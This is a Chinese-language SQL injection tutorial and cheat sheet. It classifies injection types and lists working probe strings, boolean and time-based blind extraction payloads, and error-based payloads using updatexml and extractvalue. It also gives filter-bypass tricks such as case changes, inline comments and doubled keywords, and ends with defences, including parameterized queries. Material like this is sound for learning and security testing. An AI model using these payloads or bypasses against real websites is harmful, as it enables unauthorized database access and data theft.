一,注入分類
(1)基於從服務器接收到的響應
- ①基於報錯的 SQL 注入
- ②聯合查詢的類型
- ③堆疊4 查詢注射
- ④SQL 盲注
- 基於布爾SQL 盲注
- 基於時間的SQL 盲注
- 基於報錯的SQL 盲注
(2)基於如何處理輸入的 SQL 查詢(數據類型)
- ①基於字符串
- ②數字型
- ③搜索型
(3)基於程度和順序的注入(哪裏發生了影響)
- ①一階注射
- ②二階注射
一階注射是指輸入的注射語句對 WEB 直接產生了影響,出現了結果
二階注入類似存儲型 XSS,是指輸入提交的語句,無法直接對 WEB 應用程序產生影響,通過其它的輔助間接的對 WEB 產生危害,這樣的就被稱爲是二階注入.
(4)基於注入點的位置上的
- ①通過用戶輸入的表單域的注射。
- ②通過 cookie 注射。
- ③通過服務器變量注射。(基於頭部信息的注射)
二,注入思路和一般方法
(0)常用的顯示信息的函數
- database()
- user()
- version()
可以配合內聯註釋繞過 eg(
union select database/*!()*/
)
(0)用系統變量顯示信息
系統變量:數據庫配置文件中定義的變量
注入中的作用:用來顯示配置文件中的信息來確定可進行的操
.
@@version
----版本@@basedir
-----數據庫安裝目錄@@datadir
-----數據庫文件所在處@@port
-------設置的端口@@secure_file_priv
-----mysql對文件導入導出的設置(爲NULL則爲不允許)
(1)判斷是否存在注入點和類型
常常使用閉合單引號的操作來判斷注入點
常用的嘗試語句
?id=1’’ (兩個單引號閉合前後法)
?id=1" (一個雙引號閉合法)
or 1=1 --+
'or 1=1 --+
"or 1=1 --+
)or 1=1 --+
')or 1=1 --+
") or 1=1 --+
"))or 1=1 --+
--+ -- 爲註釋的意思 | + 爲空格
就是# 註釋符的用處 在URL編碼中爲%23
根據後端的代碼判斷閉合方法{若存在注入點,服務器會返回sql語法錯誤提示}
(2)盲注中基於布爾的思路
2.1 猜測長度
length (str)
1' and length(database())=4#
count() -----------可用來推測表和字段的規個數
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=1
2.2 截斷字符(提取)
盲注不回顯,一般爲判斷長度,要用到截斷字符和編碼判斷字符
三大法寶:mid(),substr(),left()
MID(str,start[,length])
MID(DATABASE(),1,1)>’a’,查看數據庫名第一位,MID(DATABASE(),2,1)查看數據庫名第二位,依次查看各位字符。
substr(str, start, length)
substr(DATABASE(),1,1)>’a’,查看數據庫名第一位
Left(str, n )
Left()得到字符串左部指定個數的字符
left(database(),1)>’a’,查看數據庫名第一位
2.3 對截斷的字符進行判斷
ascii(str)
結合ASCII編碼表判斷
1' and ascii(substr(database(),1,1))>97 #
MYSQL 5+中 information_schema庫中存儲了所有的 庫名,表明以及字段名信息,所有還可以使用正則和like進行猜解
用法
(3)xpath利用報錯注入
XPath注入攻擊是指利用XPath 解析器的鬆散輸入和容錯特性,能夠在 URL、表單或其它信息上附帶惡意的XPath 查詢代碼,以獲得權限信息的訪問權並更改這些信息。
- 注入的對象不是數據庫中的表了,而是一個存儲數據的XML文件。
- 因爲xpath不存在訪問控制,所以我們不會遇到許多在SQL注入中經常遇到的訪問限制。
- 通過sql中的關於xml操作的函數注入
①UPDATEXML (XML_文檔, XPath語法, new_value);
- 第一個參數:XML_document是String格式,一般寫1即可(不存在的文檔)
- 第二個參數:xpath語法
- 第三個參數:new_value,String格式,替換查找到的符合條件的數據 (注入時隨便寫)
- 作用:改變文檔中符合條件的節點的值
?id=1' and updatexml(1,concat(0x7e,@@version,0x7e),1)--+
【說明】
0x7e
爲~的16進制編碼形式()以~
開頭的內容不是xml格式的語,連接後的結果顯然不符合規則,但是會將括號內的執行結果以錯誤的形式報出,這樣就可以實現報錯注入了。@@version
爲系統的環境變量
② EXTRACTVALUE (XML_document, XPath_string);
- 第一個參數:XML_document是String格式,爲XML文檔對象的名
- 第二個參數:XPath_string (Xpath格式的字符串).
- 作用:從目標XML中返回包含所查詢值的字符串
id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20database()),0x7e))--+
(4)盲注中基於時間的思路
if( (條件),sleep(5),1 )
條件可以爲基於布爾的思路payload
三,常用的繞過方法
(1)如何繞過 or 和 and 過濾
- ①大小寫變形 Or,OR,oR
- ②編碼繞過,hex,urlencode
- ③添加註釋
/*!or*/
- ④利用符號
and=&& or=||
- ⑤複寫
anandd
四、防護
① 使用白名單來規範化輸入
② 服務器端在提交數據庫進行SQL查詢之前,對特殊字符進行過濾、轉義、替換、刪除。
③ 規範編碼,字符集(不用GBK)
④ 使用參數化查詢
什麼是參數化查詢
- 在設計與數據庫鏈接並訪問數據時,在需要填入數值或數據的地方,使用參數 (Parameter) 來給值
.爲什麼參數化查詢可以防護sql注入
原理: 使用參數化查詢數據庫服務器不會把參數的內容當作sql指令的一部分來執行,是在數據庫完成sql指令的編譯後才套用參數運行,因此就算參數中含有指令,也不會被數據庫運行。
簡單的說: 語句是語句,參數是參數,參數的值並不是SQL語句的一部分,數據庫只按語句的語義跑。